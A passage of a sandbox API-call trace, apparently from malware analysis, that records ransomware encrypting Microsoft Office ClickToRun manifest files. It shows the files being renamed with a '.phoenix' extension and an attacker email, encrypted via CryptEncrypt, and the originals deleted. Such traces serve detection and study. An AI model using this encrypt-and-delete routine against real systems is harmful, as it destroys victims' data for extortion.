	[0222.685] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlookmui.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0222.686] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=96644) returned 1
	[0222.686] CloseHandle (hObject=0x2c8) returned 1
	[0222.686] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlookmui.msi.16.en-us.xml")) returned 0x20
	[0222.686] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlookmui.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0222.686] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlookmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0222.686] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0222.686] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0222.686] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlookmui.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0222.686] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151200) returned 1
	[0222.686] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0222.686] ReadFile (in: hFile=0x2c8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x17984, lpOverlapped=0x0) returned 1
	[0222.702] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x17990, dwBufLen=0x17990 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x17990) returned 1
	[0222.702] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x17990, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x17990, lpOverlapped=0x0) returned 1
	[0222.706] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151080) returned 1
	[0222.706] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0222.706] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x70, dwBufLen=0x70 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x70) returned 1
	[0222.706] CryptDestroyKey (hKey=0x151080) returned 1
	[0222.706] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x122, lpOverlapped=0x0) returned 1
	[0222.706] CryptDestroyKey (hKey=0x151200) returned 1
	[0222.706] CloseHandle (hObject=0x2c8) returned 1
	[0222.706] CloseHandle (hObject=0x2e4) returned 1
	[0222.709] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlookmui.msi.16.en-us.xml")) returned 1
	[0222.711] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0222.711] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpoint.powerpoint.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0222.711] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=103844) returned 1
	[0222.711] CloseHandle (hObject=0x2e4) returned 1
	[0222.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpoint.powerpoint.x-none.msi.16.x-none.xml")) returned 0x20
	[0222.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpoint.powerpoint.x-none.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0222.711] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpoint.powerpoint.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0222.712] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0222.712] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0222.712] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpoint.powerpoint.x-none.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0222.712] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151080) returned 1
	[0222.712] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0222.712] ReadFile (in: hFile=0x2e4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x195a4, lpOverlapped=0x0) returned 1
	[0222.747] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x195b0, dwBufLen=0x195b0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x195b0) returned 1
	[0222.747] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x195b0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x195b0, lpOverlapped=0x0) returned 1
	[0222.749] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151700) returned 1
	[0222.750] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0222.750] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xa0, dwBufLen=0xa0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xa0) returned 1
	[0222.750] CryptDestroyKey (hKey=0x151700) returned 1
	[0222.750] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x152, lpOverlapped=0x0) returned 1
	[0222.750] CryptDestroyKey (hKey=0x151080) returned 1
	[0222.750] CloseHandle (hObject=0x2e4) returned 1
	[0222.750] CloseHandle (hObject=0x2c8) returned 1
	[0222.752] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpoint.powerpoint.x-none.msi.16.x-none.xml")) returned 1
	[0222.754] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0222.754] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpointmui.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0222.754] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=26782) returned 1
	[0222.754] CloseHandle (hObject=0x2c8) returned 1
	[0222.754] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpointmui.msi.16.en-us.xml")) returned 0x20
	[0222.754] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpointmui.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0222.754] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpointmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0222.754] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0222.754] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0222.755] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpointmui.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0222.755] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151280) returned 1
	[0222.755] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0222.755] ReadFile (in: hFile=0x2c8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x689e, lpOverlapped=0x0) returned 1
	[0223.187] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x68a0, dwBufLen=0x68a0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x68a0) returned 1
	[0223.187] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x68a0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x68a0, lpOverlapped=0x0) returned 1
	[0223.188] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1516c0) returned 1
	[0223.188] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0223.188] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0223.188] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0223.188] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0223.188] CryptDestroyKey (hKey=0x151280) returned 1
	[0223.188] CloseHandle (hObject=0x2c8) returned 1
	[0223.189] CloseHandle (hObject=0x2e4) returned 1
	[0223.192] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpointmui.msi.16.en-us.xml")) returned 1
	[0223.193] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0223.194] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.project.project.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0223.194] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=29766) returned 1
	[0223.194] CloseHandle (hObject=0x2e4) returned 1
	[0223.194] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.project.project.x-none.msi.16.x-none.xml")) returned 0x20
	[0223.194] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.project.project.x-none.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0223.194] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.project.project.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0223.194] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0223.194] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0223.194] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.project.project.x-none.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0223.195] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1512c0) returned 1
	[0223.195] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0223.195] ReadFile (in: hFile=0x2e4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x7446, lpOverlapped=0x0) returned 1
	[0223.288] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x7450, dwBufLen=0x7450 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x7450) returned 1
	[0223.288] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x7450, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x7450, lpOverlapped=0x0) returned 1
	[0223.289] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151400) returned 1
	[0223.290] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0223.290] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x90, dwBufLen=0x90 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x90) returned 1
	[0223.290] CryptDestroyKey (hKey=0x151400) returned 1
	[0223.290] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x142, lpOverlapped=0x0) returned 1
	[0223.290] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0223.290] CloseHandle (hObject=0x2e4) returned 1
	[0223.290] CloseHandle (hObject=0x2c8) returned 1
	[0223.291] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.project.project.x-none.msi.16.x-none.xml")) returned 1
	[0223.292] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0223.292] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.projectmui.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0223.293] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=32926) returned 1
	[0223.293] CloseHandle (hObject=0x2c8) returned 1
	[0223.293] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.projectmui.msi.16.en-us.xml")) returned 0x20
	[0223.293] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.projectmui.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0223.293] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.projectmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0223.293] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0223.293] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0223.293] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.projectmui.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0223.294] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151200) returned 1
	[0223.294] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0223.294] ReadFile (in: hFile=0x2c8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x809e, lpOverlapped=0x0) returned 1
	[0223.348] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80a0, dwBufLen=0x80a0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80a0) returned 1
	[0223.348] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x80a0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x80a0, lpOverlapped=0x0) returned 1
	[0223.356] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151400) returned 1
